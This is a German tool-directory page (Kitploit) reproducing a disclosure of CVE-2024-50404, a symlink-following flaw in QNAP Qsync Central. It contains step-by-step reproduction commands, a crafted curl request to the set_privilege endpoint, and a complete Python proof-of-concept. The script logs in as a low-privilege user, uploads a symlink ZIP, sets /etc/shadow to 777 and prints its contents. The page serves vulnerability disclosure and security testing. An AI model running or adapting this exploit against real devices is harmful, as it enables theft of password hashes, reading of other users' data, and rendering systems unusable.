Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-50404 — CVE-2024-50404 | Kitploit
Tools/GitHubGitHub/c411e/cve-2024-50404
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubc411e/cve-2024-50404

CVE-2024-50404

CVE-2024-50404

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-50404

  • https://www.qnap.com/en/security-advisory/qsa-24-48
  • https://www.cve.org/CVERecord?id=2024-50404
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (6.8)

„Es wurde von einer Sicherheitslücke aufgrund der Verfolgung von Verknüpfungen (Link Following) berichtet, die Qsync Central betrifft. Bei Ausnutzung könnte die Sicherheitslücke entfernten Angreifern, die Benutzerzugriff erlangt haben, ermöglichen, das Dateisystem zu unbeabsichtigten Orten zu durchqueren."

Entdeckungsdatum: 22. April 2024
Behebungsdatum: 7. Dezember 2024
Betroffene Version(en): Qsync Central 4.4.x
Behobene Version(en): Qsync Central 4.4.0.16_20240819 (2024/08/19) und später
Zugriffsberechtigungen: Normaler Benutzer mit Datei-Upload-Berechtigung

Zusammenfassung:
Es ist möglich, einen symbolischen Link (Symlink) über eine ZIP-Datei hochzuladen und die Datei zu lesen, auf die der hochgeladene Symlink zeigt.
Darüber hinaus können die Dateiberechtigungen des Symlink-Ziels geändert werden.
Ein Angreifer mit den Rechten eines normalen Benutzers kann Daten anderer Benutzer oder die Passwort-Hashes lesen, die in /etc/config/shadow gespeichert sind, was zur Kompromittierung des gesamten Systems führen könnte.
Zusätzlich könnte der Angreifer die Ausführungsberechtigung wichtiger Systembinärdateien entfernen, um das System unbrauchbar zu machen.

Schritte zur Reproduktion

Datei über Symlink lesen

  1. Erstellen Sie einen Symlink und packen Sie ihn in eine ZIP-Datei.

    root@kitploit:~
    ln -s /etc/passwd link.txt
    zip --symlink pwn.zip link.txt
    
  2. Melden Sie sich als Benutzer mit niedrigen Privilegien an.

  3. Laden Sie die ZIP-Datei in den Ordner .Qsync hoch.

    ZIP hochladen

  4. Extrahieren Sie die ZIP-Datei durch Rechtsklick und Auswahl von Nach /pwn/ extrahieren.

    ZIP extrahieren

  5. Öffnen Sie den neuen Ordner pwn, klicken Sie mit der rechten Maustaste auf link.txt und wählen Sie Öffnen.

  6. Beachten Sie, dass /etc/passwd in einem neuen Tab geöffnet wird.

    Link öffnen

Dateiberechtigungen über Symlink ändern

  1. Erstellen Sie einen Symlink und packen Sie ihn in eine ZIP-Datei.

    root@kitploit:~
    ln -s /etc/shadow link.txt
    zip --symlink pwn.zip link.txt
    
  2. Melden Sie sich als Benutzer mit niedrigen Privilegien an.

  3. Laden Sie die ZIP-Datei in den Ordner .Qsync hoch.

  4. Extrahieren Sie die ZIP-Datei durch Rechtsklick und Auswahl von Nach /pwn/ extrahieren.

  5. Ändern Sie die Berechtigung der Datei, auf die der Symlink zeigt, indem Sie die Funktion set_privilege missbrauchen.

    Curl-Anfrage:

    root@kitploit:~
    curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
    

    Burp-Anfrage:

    Burp-Anfrage

    Sie müssen den Parameter sid in der URL durch eine gültige Sitzungs-ID ersetzen.

  6. Öffnen Sie den neuen Ordner pwn, klicken Sie mit der rechten Maustaste auf link.txt und wählen Sie Öffnen.

Proof of Concept

Das folgende Python-Skript kann verwendet werden, um die Sicherheitslücke auszunutzen.

root@kitploit:~
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3

# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def main() -> None:
    session = Session()
    #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print(f'carefull, privileges of {FILE} are changed to 777! clean up is not implemented')

    print('creating zip file')
    os.system('rm -f pwned.txt pwn.zip')
    os.system(f'ln -s {FILE} pwned.txt')
    os.system('zip --symlink pwn.zip pwned.txt')

    print('loggin in')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('uploading zip file')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('unpacking zip file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    # wait a bit
    time.sleep(5)

    print('changing privileges on file')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    print('read file')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
    assert response.status_code == 200
    print(response.text)

    print('done')


def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # get upload id
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # upload file
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()
Tool herunterladen
  • Beachten Sie, dass /etc/shadow in einem neuen Tab geöffnet wird.

    Link öffnen